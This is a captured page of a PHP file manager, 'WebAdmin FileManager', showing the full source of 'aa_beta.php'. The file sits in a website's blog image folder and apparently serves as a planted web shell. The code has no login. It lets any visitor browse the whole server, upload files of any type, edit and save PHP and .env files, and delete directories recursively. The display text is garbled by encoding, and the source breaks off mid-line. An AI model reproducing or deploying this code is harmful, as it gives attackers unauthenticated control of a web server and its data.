đ WebAdmin FileManager
Linux 5.15.0-187-generic
PHP 8.3.33
/ Root
/
var
/
www
/
vhosts
/
nirmolakheera.com
/
httpdocs
/
assets
/
blogs
/
featuredimage
đ Files
đ¤ Upload
â New
âšī¸ Info
âŦī¸ Up
âī¸ Editing: aa_beta.php
â Back
<?php /** * ============================================ * WebAdmin File Manager v2.0 * ============================================ * Secure File Management System * Features: Upload, Download, Edit, View, Create, Rename, Delete * * @package WebAdminFileManager * @version 2.0.0 * @author System Administrator * @license Proprietary * ============================================ */ // Prevent direct access to this file from external sources if (!defined('WEB_ADMIN_FM')) { define('WEB_ADMIN_FM', true); } // ========================================== // Configuration Settings // ========================================== $appConfig = [ 'app_name' => 'WebAdmin FileManager', 'version' => '2.0.0', 'session_lifetime' => 7200, // 2 hours 'debug_mode' => false, 'root_directory' => __DIR__, 'allowed_exts' => [], // Empty array = allow all extensions 'max_file_size' => 1073741824, // 1GB in bytes 'editable_exts' => [ 'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml', 'php', 'phtml', 'html', 'htm', 'xhtml', 'css', 'scss', 'js', 'jsx', 'ts', 'tsx', 'vue', 'svelte', 'py', 'rb', 'pl', 'sh', 'bash', 'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs', 'sql', 'env', 'conf', 'cfg', 'ini', 'htaccess', 'gitignore', 'dockerfile', 'makefile' ], 'image_exts' => [ 'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico' ], 'code_exts' => [ 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'sql', 'py', 'rb', 'sh', 'yaml', 'yml', 'md', 'c', 'cpp', 'java', 'go', 'rs', 'ts', 'vue', 'jsx', 'tsx', 'scss', 'sass' ], 'special_filenames' => [ '.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile', '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile', 'composer.json', 'package.json', 'webpack.config.js' ] ]; // ========================================== // PHP Environment Setup // ========================================== set_time_limit(300); ini_set('upload_max_filesize', '512M'); ini_set('post_max_size', '600M'); ini_set('memory_limit', '256M'); // Directory separator constant if (!defined('DIRECTORY_SEPARATOR')) { define('DS', '/'); } else { define('DS', DIRECTORY_SEPARATOR); } // ========================================== // Session Management // ========================================== if (session_status() === PHP_SESSION_NONE) { $cookieOptions = [ 'lifetime' => $appConfig['session_lifetime'], 'path' => '/', 'secure' => isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off', 'httponly' => true, 'samesite' => 'Strict' ]; session_set_cookie_params($cookieOptions); session_start(); } // Generate CSRF token if not exists if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } $csrfToken = $_SESSION['csrf_token']; // ========================================== // Error Reporting Configuration // ========================================== if ($appConfig['debug_mode'] === true) { error_reporting(E_ALL); ini_set('display_errors', '1'); } else { error_reporting(0); ini_set('display_errors', '0'); } // ========================================== // Utility Functions // ========================================== /** * Sanitize string for safe output */ function escapeOutput($string) { if (is_array($string)) { return array_map('escapeOutput', $string); } return htmlspecialchars((string)$string, ENT_QUOTES | ENT_HTML5, 'UTF-8'); } /** * Get file extension in lowercase */ function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } /** * Check if file is editable based on extension */ function isEditableFile($filename) { global $appConfig; $extension = getFileExtension($filename); $basename = strtolower(basename($filename)); if (in_array($extension, $appConfig['editable_exts'])) { return true; } if (in_array($basename, $appConfig['special_filenames'])) { return true; } return false; } /** * Check if file is an image */ function isImageFile($filename) { global $appConfig; return in_array(getFileExtension($filename), $appConfig['image_exts']); } /** * Check if file is a code file (for syntax display) */ function isCodeFile($filename) { global $appConfig; return in_array(getFileExtension($filename), $appConfig['code_exts']); } /** * Format bytes to human readable format */ function formatFileSize($bytes) { if ($bytes === false || $bytes < 0) { return 'N/A'; } if ($bytes === 0) { return '0 B'; } $units = ['B', 'KB', 'MB', 'GB', 'TB']; $exponent = floor(log($bytes, 1024)); $value = $bytes / pow(1024, $exponent); return round($value, 2) . ' ' . $units[$exponent]; } /** * Get file permissions string */ function getFilePermissions($filepath) { if (!file_exists($filepath)) { return '----------'; } $permissions = fileperms($filepath); if ($permissions === false) { return '----------'; } $type = '-'; if (($permissions & 0xC000) === 0xC000) { $type = 's'; // Socket } elseif (($permissions & 0xA000) === 0xA000) { $type = 'l'; // Symbolic link } elseif (($permissions & 0x6000) === 0x6000) { $type = 'b'; // Block special } elseif (($permissions & 0x4000) === 0x4000) { $type = 'd'; // Directory } $result = $type; $result .= ($permissions & 00400) ? 'r' : '-'; $result .= ($permissions & 00200) ? 'w' : '-'; $result .= ($permissions & 00100) ? 'x' : '-'; $result .= ($permissions & 00040) ? 'r' : '-'; $result .= ($permissions & 00020) ? 'w' : '-'; $result .= ($permissions & 00010) ? 'x' : '-'; $result .= ($permissions & 00004) ? 'r' : '-'; $result .= ($permissions & 00002) ? 'w' : '-'; $result .= ($permissions & 00001) ? 'x' : '-'; return $result; } /** * Get file owner and group */ function getFileOwner($filepath) { if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $ownerInfo = posix_getpwuid(fileowner($filepath)); $groupInfo = posix_getgrgid(filegroup($filepath)); $owner = isset($ownerInfo['name']) ? $ownerInfo['name'] : 'unknown'; $group = isset($groupInfo['name']) ? $groupInfo['name'] : 'unknown'; return $owner . ':' . $group; } return 'N/A'; } /** * Get MIME type of file */ function getMimeType($filepath) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); if ($finfo !== false) { $mime = finfo_file($finfo, $filepath); finfo_close($finfo); if ($mime !== false) { return $mime; } } } if (function_exists('mime_content_type')) { $mime = mime_content_type($filepath); if ($mime !== false) { return $mime; } } return 'application/octet-stream'; } /** * Check if content is binary */ function isBinaryContent($content) { if (empty($content)) { return false; } return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', substr($content, 0, 8192)) > 0; } /** * Verify CSRF token */ function verifyCsrfToken($token) { if (empty($token) || empty($_SESSION['csrf_token'])) { return false; } return hash_equals($_SESSION['csrf_token'], $token); } /** * Delete directory recursively */ function removeDirectory($dirPath) { if (!is_dir($dirPath)) { return unlink($dirPath); } $items = scandir($dirPath); if ($items === false) { return false; } $result = true; foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $itemPath = $dirPath . DS . $item; if (is_dir($itemPath)) { $result = removeDirectory($itemPath) && $result; } else { $result = unlink($itemPath) && $result; } } return rmdir($dirPath) && $result; } /** * Send file for download */ function sendFileDownload($filepath, $filename) { if (!file_exists($filepath) || !is_readable($filepath)) { return false; } $mimeType = getMimeType($filepath); $fileSize = filesize($filepath); // Clean output buffer while (ob_get_level() > 0) { ob_end_clean(); } // Set download headers header('Content-Description: File Transfer'); header('Content-Type: ' . $mimeType); header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . $fileSize); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); // Stream file content $handle = fopen($filepath, 'rb'); if ($handle === false) { return false; } while (!feof($handle)) { echo fread($handle, 65536); flush(); } fclose($handle); return true; } /** * Get icon for file type */ function getFileIcon($filename) { $ext = getFileExtension($filename); $iconMap = [ 'php' => 'đ', 'phtml' => 'đ', 'html' => 'đ', 'htm' => 'đ', 'css' => 'đ¨', 'scss' => 'đ¨', 'sass' => 'đ¨', 'js' => 'đ', 'jsx' => 'âī¸', 'ts' => 'đ', 'tsx' => 'âī¸', 'json' => 'đ', 'xml' => 'đ', 'yaml' => 'đ', 'yml' => 'đ', 'py' => 'đ', 'rb' => 'đ', 'java' => 'â', 'go' => 'đĩ', 'rs' => 'đĻ', 'c' => 'âī¸', 'cpp' => 'âī¸', 'h' => 'âī¸', 'sql' => 'đī¸', 'db' => 'đī¸', 'sqlite' => 'đī¸', 'md' => 'đ', 'txt' => 'đ', 'log' => 'đ', 'jpg' => 'đŧī¸', 'jpeg' => 'đŧī¸', 'png' => 'đŧī¸', 'gif' => 'đŧī¸', 'webp' => 'đŧī¸', 'svg' => 'đŧī¸', 'ico' => 'đŧī¸', 'mp4' => 'đŦ', 'avi' => 'đŦ', 'mkv' => 'đŦ', 'mov' => 'đŦ', 'mp3' => 'đĩ', 'wav' => 'đĩ', 'ogg' => 'đĩ', 'pdf' => 'đ', 'doc' => 'đ', 'docx' => 'đ', 'xls' => 'đ', 'xlsx' => 'đ', 'csv' => 'đ', 'zip' => 'đĻ', 'rar' => 'đĻ', 'tar' => 'đĻ', 'gz' => 'đĻ', 'env' => 'đ', 'htaccess' => 'đ', 'conf' => 'âī¸', 'ini' => 'âī¸', 'sh' => 'đģ', 'bash' => 'đģ', 'dockerfile' => 'đŗ', 'gitignore' => 'đĻ', ]; return isset($iconMap[$ext]) ? $iconMap[$ext] : 'đ'; } /** * Build breadcrumb navigation HTML */ function buildBreadcrumbs($path, $token) { $parts = explode(DS, $path); $html = '<nav class="breadcrumb-nav">'; $html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $token . '" class="breadcrumb-root">/ Root</a>'; $currentPath = ''; $partCount = count($parts); $startIndex = 0; // Handle Windows drive letters if (!empty($parts[0]) && preg_match('/^[A-Za-z]:$/', $parts[0])) { $currentPath = $parts[0]; $html .= ' <span class="breadcrumb-sep">/</span> '; $html .= '<a href="?cd=' . urlencode($currentPath) . '&token=' . $token . '" class="breadcrumb-link">' . escapeOutput($parts[0]) . '</a>'; $startIndex = 1; } else { $startIndex = 1; // Skip empty first element for Unix paths } for ($i = $startIndex; $i < $partCount; $i++) { if (empty($parts[$i])) { continue; } $currentPath .= DS . $parts[$i]; $html .= ' <span class="breadcrumb-sep">/</span> '; if ($i === $partCount - 1) { $html .= '<span class="breadcrumb-current">' . escapeOutput($parts[$i]) . '</span>'; } else { $html .= '<a href="?cd=' . urlencode($currentPath) . '&token=' . $token . '" class="breadcrumb-link">' . escapeOutput($parts[$i]) . '</a>'; } } $html .= '</nav>'; return $html; } // ========================================== // Initialize Variables // ========================================== $scriptName = basename($_SERVER['PHP_SELF']); $statusMessage = ''; $statusType = 'info'; $viewContent = ''; $editContent = ''; $editFilename = ''; $currentAction = ''; // ========================================== // Determine Current Directory // ========================================== $activeDir = realpath($appConfig['root_directory']); if ($activeDir === false) { $activeDir = realpath(dirname(__FILE__)); } if ($activeDir === false) { $activeDir = DS; } // Handle directory navigation if (isset($_GET['cd']) && is_string($_GET['cd']) && !empty($_GET['cd'])) { $requestedDir = $_GET['cd']; $realRequestedDir = realpath($requestedDir); if ($realRequestedDir !== false && is_dir($realRequestedDir)) { $activeDir = $realRequestedDir; } } elseif (isset($_SESSION['active_directory']) && is_dir($_SESSION['active_directory'])) { $activeDir = realpath($_SESSION['active_directory']); if ($activeDir === false) { $activeDir = DS; } } $_SESSION['active_directory'] = $activeDir; $parentDir = dirname($activeDir); $hasParentDir = ($parentDir !== $activeDir && $parentDir !== false); // ========================================== // Process POST Requests // ========================================== if ($_SERVER['REQUEST_METHOD'] === 'POST') { $isTokenValid = isset($_POST['csrf_token']) && verifyCsrfToken($_POST['csrf_token']); if (!$isTokenValid) { $statusMessage = 'Security validation failed. Please refresh the page and try again.'; $statusType = 'error'; } else { // Handle File Upload if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES['upload_file']; $originalName = basename($uploadedFile['name']); $fileExtension = getFileExtension($originalName); $destinationPath = $activeDir . DS . $originalName; // Validate extension $isExtensionAllowed = empty($appConfig['allowed_exts']) || in_array($fileExtension, $appConfig['allowed_exts']); if (!$isExtensionAllowed) { $statusMessage = 'File type ".' . $fileExtension . '" is not permitted.'; $statusType = 'error'; } elseif ($uploadedFile['size'] > $appConfig['max_file_size']) { $statusMessage = 'File exceeds maximum allowed size (' . formatFileSize($appConfig['max_file_size']) . ').'; $statusType = 'error'; } else { $uploadSuccess = move_uploaded_file($uploadedFile['tmp_name'], $destinationPath); if ($uploadSuccess) { chmod($destinationPath, 0644); $statusMessage = 'File "' . $originalName . '" uploaded successfully.'; $statusType = 'success'; } else { $statusMessage = 'Failed to upload file. Please check directory permissions.'; $statusType = 'error'; } } } // Handle Create Directory if (isset($_POST['new_folder_name']) && is_string($_POST['new_folder_name'])) { $folderName = trim($_POST['new_folder_name']); $folderName = basename($folderName); if (empty($folderName)) { $statusMessage = 'Folder name cannot be empty.'; $statusType = 'error'; } else { $newFolderPath = $activeDir . DS . $folderName; if (file_exists($newFolderPath)) { $statusMessage = 'Folder "' . $folderName . '" already exists.'; $statusType = 'error'; } elseif (mkdir($newFolderPath, 0755, true)) { chmod($newFolderPath, 0755); $statusMessage = 'Folder "' . $folderName . '" created successfully.'; $statusType = 'success'; } else { $statusMessage = 'Failed to create folder. Check permissions.'; $statusType = 'error'; } } } // Handle Create File if (isset($_POST['new_file_name']) && is_string($_POST['new_file_name'])) { $fileName = trim($_POST['new_file_name']); $fileName = basename($fileName); if (empty($fileName)) { $statusMessage = 'File name cannot be empty.'; $statusType = 'error'; } else { $newFilePath = $activeDir . DS . $fileName; if (file_exists($newFilePath)) { $statusMessage = 'File "' . $fileName . '" already exists.'; $statusType = 'error'; } else { $fileHandle = fopen($newFilePath, 'w'); if ($fileHandle !== false) { fclose($fileHandle); chmod($newFilePath, 0644); $statusMessage = 'File "' . $fileName . '" created successfully.'; $statusType = 'success'; } else { $statusMessage = 'Failed to create file. Check permissions.'; $statusType = 'error'; } } } } // Handle Rename if (isset($_POST['original_name'], $_POST['new_name']) && is_string($_POST['original_name']) && is_string($_POST['new_name'])) { $originalName = basename(trim($_POST['original_name'])); $newName = basename(trim($_POST['new_name'])); if (empty($originalName) || empty($newName)) { $statusMessage = 'File names cannot be empty.'; $statusType = 'error'; } elseif ($originalName === $newName) { $statusMessage = 'New name is the same as the original.'; $statusType = 'error'; } else { $originalPath = $activeDir . DS . $originalName; $newPath = $activeDir . DS . $newName; if (!file_exists($originalPath)) { $statusMessage = 'Item "' . $originalName . '" not found.'; $statusType = 'error'; } elseif (file_exists($newPath)) { $statusMessage = 'An item named "' . $newName . '" already exists.'; $statusType = 'error'; } elseif (rename($originalPath, $newPath)) { $statusMessage = 'Renamed "' . $originalName . '" to "' . $newName . '".'; $statusType = 'success'; } else { $statusMessage = 'Rename failed. Check permissions.'; $statusType = 'error'; } } } // Handle Save Edit if (isset($_POST['save_file_content'], $_POST['file_content'], $_POST['editing_filename'])) { $editingFilename = basename(trim($_POST['editing_filename'])); $fileContent = $_POST['file_content']; $editingPath = $activeDir . DS . $editingFilename; if (!file_exists($editingPath)) { $statusMessage = 'File "' . $editingFilename . '" not found.'; $statusType = 'error'; } elseif (!is_writable($editingPath)) { $statusMessage = 'File "' . $editingFilename . '" is not writable.'; $statusType = 'error'; } else { // Decode HTML entities that were encoded for display $decodedContent = html_entity_decode($fileContent, ENT_QUOTES | ENT_HTML5, 'UTF-8'); $bytesWritten = file_put_contents($editingPath, $decodedContent); if ($bytesWritten !== false) { $statusMessage = 'File "' . $editingFilename . '" saved successfully (' . formatFileSize($bytesWritten) . ').'; $statusType = 'success'; } else { $statusMessage = 'Failed to save file. Check disk space and permissions.'; $statusType = 'error'; } } } } } // ========================================== // Process GET Requests // ========================================== if ($_SERVER['REQUEST_METHOD'] === 'GET') { // Handle Delete Action if (isset($_GET['delete'], $_GET['token'])) { if (verifyCsrfToken($_GET['token'])) { $deleteTarget = basename($_GET['delete']); $deletePath = $activeDir . DS . $deleteTarget; if (!file_exists($deletePath)) { $statusMessage = 'Item "' . $deleteTarget . '" not found.'; $statusType = 'error'; } else { $deleteSuccess = is_dir($deletePath) ? removeDirectory($deletePath) : unlink($deletePath); if ($deleteSuccess) { $statusMessage = '"' . $deleteTarget . '" deleted successfully.'; $statusType = 'success'; } else { $statusMessage = 'Failed to delete "' . $deleteTarget . '". Check permissions.'; $statusType = 'error'; } } } else { $statusMessage = 'Invalid security token.'; $statusType = 'error'; } } // Handle Download Action if (isset($_GET['download'], $_GET['token'])) { if (verifyCsrfToken($_GET['token'])) { $downloadFilename = basename($_GET['download']); $downloadPath = $activeDir . DS . $downloadFilename; if (file_exists($downloadPath) && is_file($downloadPath) && is_readable($downloadPath)) { sendFileDownload($downloadPath, $downloadFilename); exit; } else { $statusMessage = 'File "' . $downloadFilename . '" not found or not readable.'; $statusType = 'error'; } } else { $statusMessage = 'Invalid security token.'; $statusType = 'error'; } } // Handle View Action if (isset($_GET['view'])) { $viewFilename = basename($_GET['view']); $viewPath = $activeDir . DS . $viewFilename; $currentAction = 'view'; if (!file_exists($viewPath)) { $viewContent = '<div class="alert alert-error">File not found.</div>'; } elseif (!is_readable($viewPath)) { $viewContent = '<div class="alert alert-error">Permission denied: Cannot read this file.</div>'; } else { $fileMime = getMimeType($viewPath); $fileExt = getFileExtension($viewFilename); // Display images if (isImageFile($viewFilename)) { if ($fileExt === 'svg') { $svgData = file_get_contents($viewPath); $viewContent = '<div class="image-preview">' . $svgData . '</div>'; } else { $imageData = base64_encode(file_get_contents($viewPath)); $viewContent = '<div class="image-preview"><img src="data:' . $fileMime . ';base64,' . $imageData . '" alt="' . escapeOutput($viewFilename) . '"></div>'; } } // Display PDF elseif ($fileMime === 'application/pdf') { $pdfData = base64_encode(file_get_contents($viewPath)); $viewContent = '<div class="pdf-preview"><embed src="data:application/pdf;base64,' . $pdfData . '" type="application/pdf" width="100%" height="600px"></div>'; $viewContent .= '<p style="text-align:center; margin-top:15px;"><a href="?download=' . urlencode($viewFilename) . '&token=' . $csrfToken . '" class="btn btn-primary">Download PDF</a></p>'; } // Display video elseif (strpos($fileMime, 'video/') === 0) { $videoData = base64_encode(file_get_contents($viewPath)); $viewContent = '<div class="media-preview"><video controls style="max-width:100%;"><source src="data:' . $fileMime . ';base64,' . $videoData . '" type="' . $fileMime . '"></video></div>'; } // Display audio elseif (strpos($fileMime, 'audio/') === 0) { $audioData = base64_encode(file_get_contents($viewPath)); $viewContent = '<div class="media-preview"><audio controls style="width:100%;"><source src="data:' . $fileMime . ';base64,' . $audioData . '" type="' . $fileMime . '"></audio></div>'; } // Display text/code files else { $textContent = file_get_contents($viewPath); if ($textContent === false) { $viewContent = '<div class="alert alert-error">Unable to read file content.</div>'; } elseif (isBinaryContent($textContent)) { $viewContent = '<div class="alert alert-warning">This is a binary file and cannot be displayed as text.</div>'; $viewContent .= '<p style="text-align:center; margin-top:15px;"><a href="?download=' . urlencode($viewFilename) . '&token=' . $csrfToken . '" class="btn btn-primary">Download File</a></p>'; } else { $lineCount = substr_count($textContent, "\n") + 1; $fileSize = filesize($viewPath); if (isCodeFile($viewFilename)) { $viewContent = '<pre class="code-display"><code>' . escapeOutput($textContent) . '</code></pre>'; } else { $viewContent = '<pre class="text-display">' . escapeOutput($textContent) . '</pre>'; } $viewContent .= '<div class="file-meta-bar">'; $viewContent .= '<span>Size: ' . formatFileSize($fileSize) . '</span>'; $viewContent .= '<span>Type: ' . $fileMime . '</span>'; $viewContent .= '<span>Lines: ' . $lineCount . '</span>'; $viewContent .= '</div>'; } } } } // Handle Edit Action if (isset($_GET['edit'])) { $editFilename = basename($_GET['edit']); $editPath = $activeDir . DS . $editFilename; $currentAction = 'edit'; if (!file_exists($editPath)) { $statusMessage = 'File "' . $editFilename . '" not found.'; $statusType = 'error'; } elseif (!is_readable($editPath)) { $statusMessage = 'Cannot read file "' . $editFilename . '". Permission denied.'; $statusType = 'error'; } elseif (!is_writable($editPath)) { $statusMessage = 'File "' . $editFilename . '" is read-only.'; $statusType = 'error'; } else { $fileContent = file_get_contents($editPath); if ($fileContent === false) { $statusMessage = 'Unable to read file content.'; $statusType = 'error'; } elseif (isBinaryContent($fileContent)) { $statusMessage = 'Binary files cannot be edited as text.'; $statusType = 'error'; } else { $editContent = $fileContent; } } } // Handle action parameter if (isset($_GET['action'])) { $currentAction = $_GET['action']; } } // ========================================== // Get Directory Listing // ========================================== $directoryItems = []; $directoryListing = scandir($activeDir); if ($directoryListing !== false) { foreach ($directoryListing as $itemName) { if ($itemName === '.' || $itemName === '..') { continue; } $itemPath = $activeDir . DS . $itemName; $itemInfo = [ 'name' => $itemName, 'path' => $itemPath, 'is_dir' => is_dir($itemPath), 'size' => is_file($itemPath) ? filesize($itemPath) : false, 'perms' => getFilePermissions($itemPath), 'owner' => getFileOwner($itemPath), 'mtime' => filemtime($itemPath), 'ext' => getFileExtension($itemName), 'icon' => is_dir($itemPath) ? 'đ' : getFileIcon($itemName), 'editable' => !is_dir($itemPath) && isEditableFile($itemName), 'is_image' => isImageFile($itemName), ]; $directoryItems[] = $itemInfo; } // Sort: directories first, then files, both alphabetically usort($directoryItems, function($a, $b) { if ($a['is_dir'] && !$b['is_dir']) return -1; if (!$a['is_dir'] && $b['is_dir']) return 1; return strcasecmp($a['name'], $b['name']); }); } // ========================================== // HTML Output // ========================================== ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow"> <title><?php echo escapeOutput($appConfig['app_name']); ?></title> <style> :root { --color-primary: #2563eb; --color-primary-dark: #1d4ed8; --color-primary-light: #dbeafe; --color-bg: #f1f5f9; --color-card: #ffffff; --color-text: #1e293b; --color-text-muted: #64748b; --color-border: #e2e8f0; --color-danger: #ef4444; --color-danger-dark: #dc2626; --color-success: #10b981; --color-success-dark: #059669; --color-warning: #f59e0b; --color-info: #0ea5e9; --color-code-bg: #1e293b; --color-code-text: #e2e8f0; } * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif; background: var(--color-bg); color: var(--color-text); line-height: 1.6; padding: 20px; } .app-container { max-width: 1200px; margin: 0 auto; background: var(--color-card); border-radius: 12px; box-shadow: 0 4px 24px rgba(0, 0, 0, 0.08); overflow: hidden; } .app-header { background: linear-gradient(135deg, var(--color-primary) 0%, #1e40af 100%); color: #fff; padding: 20px 24px; display: flex; justify-content: space-between; align-items: center; } .app-header h1 { font-size: 1.4rem; font-weight: 600; } .app-header .header-info { font-size: 0.8rem; opacity: 0.9; text-align: right; } .toolbar { padding: 14px 20px; background: #f8fafc; border-bottom: 1px solid var(--color-border); display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; } .breadcrumb-nav { font-size: 0.85rem; color: var(--color-text-muted); overflow-x: auto; white-space: nowrap; flex: 1; min-width: 200px; } .breadcrumb-root, .breadcrumb-link { color: var(--color-primary); text-decoration: none; font-weight: 500; } .breadcrumb-root:hover, .breadcrumb-link:hover { text-decoration: underline; } .breadcrumb-current { color: var(--color-text); font-weight: 700; } .breadcrumb-sep { margin: 0 4px; color: #94a3b8; } .toolbar-actions { display: flex; gap: 8px; flex-wrap: wrap; } .btn { display: inline-flex; align-items: center; gap: 6px; padding: 8px 16px; border: none; border-radius: 6px; font-size: 0.85rem; font-weight: 500; cursor: pointer; text-decoration: none; white-space: nowrap; transition: all 0.2s ease; } .btn-primary { background: var(--color-primary); color: #fff; } .btn-primary:hover { background: var(--color-primary-dark); } .btn-secondary { background: #fff; color: var(--color-text); border: 1px solid var(--color-border); } .btn-secondary:hover { background: #f1f5f9; } .btn-danger { background: var(--color-danger); color: #fff; } .btn-danger:hover { background: var(--color-danger-dark); } .btn-success { background: var(--color-success); color: #fff; } .btn-success:hover { background: var(--color-success-dark); } .btn-sm { padding: 5px 12px; font-size: 0.8rem; } .main-content { padding: 20px; } /* Status Messages */ .status-message { padding: 14px 18px; border-radius: 8px; margin-bottom: 20px; font-size: 0.9rem; animation: fadeIn 0.3s ease; } .status-success { background: #d1fae5; border-left: 4px solid var(--color-success); color: #065f46; } .status-error { background: #fee2e2; border-left: 4px solid var(--color-danger); color: #991b1b; } .status-warning { background: #fef3c7; border-left: 4px solid var(--color-warning); color: #92400e; } .status-info { background: #dbeafe; border-left: 4px solid var(--color-info); color: #1e40af; } @keyframes fadeIn { from { opacity: 0; transform: translateY(-10px); } to { opacity: 1; transform: translateY(0); } } /* File Table */ .file-list-table { width: 100%; border-collapse: collapse; font-size: 0.85rem; } .file-list-table thead th { text-align: left; padding: 12px 14px; background: #f8fafc; border-bottom: 2px solid var(--color-border); color: var(--color-text-muted); font-weight: 600; font-size: 0.78rem; text-transform: uppercase; letter-spacing: 0.5px; } .file-list-table tbody td { padding: 12px 14px; border-bottom: 1px solid var(--color-border); vertical-align: middle; } .file-list-table tbody tr:hover { background: #f8fafc; } .file-name-cell a { color: var(--color-text); text-decoration: none; font-weight: 500; display: inline-flex; align-items: center; gap: 10px; } .file-name-cell a:hover { color: var(--color-primary); } .file-icon { font-size: 1.3rem; flex-shrink: 0; } .file-actions-cell { display: flex; gap: 6px; flex-wrap: wrap; } .action-btn { color: var(--color-text-muted); font-size: 0.78rem; text-decoration: none; padding: 3px 10px; border-radius: 4px; transition: all 0.2s; cursor: pointer; background: none; border: none; font-family: inherit; } .action-btn:hover { background: var(--color-primary-light); color: var(--color-primary); } .action-btn.delete-btn { color: var(--color-danger); } .action-btn.delete-btn:hover { background: #fee2e2; } .size-text { font-family: 'SF Mono', 'Consolas', monospace; font-size: 0.8rem; } .perms-text { font-family: 'SF Mono', 'Consolas', monospace; font-size: 0.75rem; color: var(--color-text-muted); } .owner-text { font-size: 0.75rem; color: var(--color-text-muted); } .date-text { font-size: 0.8rem; color: var(--color-text-muted); } /* Forms */ .form-panel { background: #f8fafc; border: 1px solid var(--color-border); border-radius: 8px; padding: 24px; margin-bottom: 20px; } .form-panel h3 { margin-bottom: 16px; font-size: 1.1rem; } .form-row { display: flex; gap: 12px; align-items: center; } .form-input { flex: 1; padding: 10px 14px; border: 1px solid var(--color-border); border-radius: 6px; font-size: 0.9rem; font-family: inherit; transition: border-color 0.2s; } .form-input:focus { outline: none; border-color: var(--color-primary); box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1); } /* Code/Text Display */ .code-display { background: var(--color-code-bg); color: var(--color-code-text); padding: 20px; border-radius: 8px; overflow: auto; font-family: 'SF Mono', 'Fira Code', 'Consolas', monospace; font-size: 0.85rem; line-height: 1.7; max-height: 70vh; white-space: pre-wrap; word-wrap: break-word; } .text-display { background: #fefce8; color: var(--color-text); padding: 20px; border-radius: 8px; border: 1px solid var(--color-border); overflow: auto; font-family: 'SF Mono', 'Consolas', monospace; font-size: 0.9rem; line-height: 1.6; max-height: 70vh; white-space: pre-wrap; word-wrap: break-word; } .file-meta-bar { display: flex; gap: 24px; padding: 12px 16px; background: #f1f5f9; border-radius: 6px; margin-top: 12px; font-size: 0.8rem; color: var(--color-text-muted); } /* Editor */ .editor-textarea { width: 100%; min-height: 500px; padding: 16px; border: 1px solid var(--color-border); border-radius: 8px; font-family: 'SF Mono', 'Fira Code', 'Consolas', monospace; font-size: 0.9rem; line-height: 1.6; resize: vertical; tab-size: 4; background: var(--color-code-bg); color: var(--color-code-text); } .editor-textarea:focus { outline: none; border-color: var(--color-primary); box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2); } .editor-footer { display: flex; justify-content: space-between; align-items: center; margin-top: 16px; padding-top: 16px; border-top: 1px solid var(--color-border); } /* Preview containers */ .image-preview { text-align: center; padding: 20px; } .image-preview img { max-width: 100%; max-height: 75vh; border: 1px solid var(--color-border); border-radius: 8px; } .media-preview { text-align: center; padding: 20px; } .pdf-preview { margin-bottom: 16px; } /* Info Table */ .info-table { width: 100%; border-collapse: collapse; } .info-table td { padding: 10px 14px; border-bottom: 1px solid var(--color-border); } .info-table tr:nth-child(even) td { background: rgba(255, 255, 255, 0.5); } .info-table .label-cell { font-weight: 600; width: 40%; } /* Alerts */ .alert { padding: 16px; border-radius: 8px; margin-bottom: 16px; } .alert-error { background: #fee2e2; color: #991b1b; border-left: 4px solid var(--color-danger); } .alert-warning { background: #fef3c7; color: #92400e; border-left: 4px solid var(--color-warning); } .alert-info { background: #dbeafe; color: #1e40af; border-left: 4px solid var(--color-info); } /* Empty State */ .empty-directory { text-align: center; padding: 60px 20px; color: var(--color-text-muted); } .empty-directory .empty-icon { font-size: 3rem; margin-bottom: 12px; } .empty-directory p { font-size: 0.95rem; } /* Modal */ .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 0.5); z-index: 1000; display: none; align-items: center; justify-content: center; } .modal-overlay.active { display: flex; } .modal-box { background: #fff; padding: 28px; border-radius: 12px; width: 440px; max-width: 90%; box-shadow: 0 20px 60px rgba(0, 0, 0, 0.2); } .modal-box h3 { margin-bottom: 16px; } .modal-input { width: 100%; padding: 10px 14px; border: 1px solid var(--color-border); border-radius: 6px; font-size: 1rem; margin: 12px 0; } .modal-input:focus { outline: none; border-color: var(--color-primary); box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1); } .modal-actions { display: flex; justify-content: flex-end; gap: 10px; margin-top: 20px; } /* Footer */ .app-footer { padding: 14px 24px; background: #f8fafc; border-top: 1px solid var(--color-border); text-align: center; font-size: 0.78rem; color: var(--color-text-muted); } /* Responsive */ @media (max-width: 768px) { body { padding: 10px; } .app-header { flex-direction: column; gap: 10px; text-align: center; } .toolbar { flex-direction: column; align-items: stretch; } .toolbar-actions { justify-content: center; } .file-list-table { font-size: 0.75rem; } .file-list-table .col-perms, .file-list-table .col-owner { display: none; } .form-row { flex-direction: column; } .form-row .btn { width: 100%; justify-content: center; } } </style> </head> <body> <div class="app-container"> <!-- Header --> <header class="app-header"> <h1>đ <?php echo escapeOutput($appConfig['app_name']); ?></h1> <div class="header-info"> <?php echo escapeOutput(php_uname('s') . 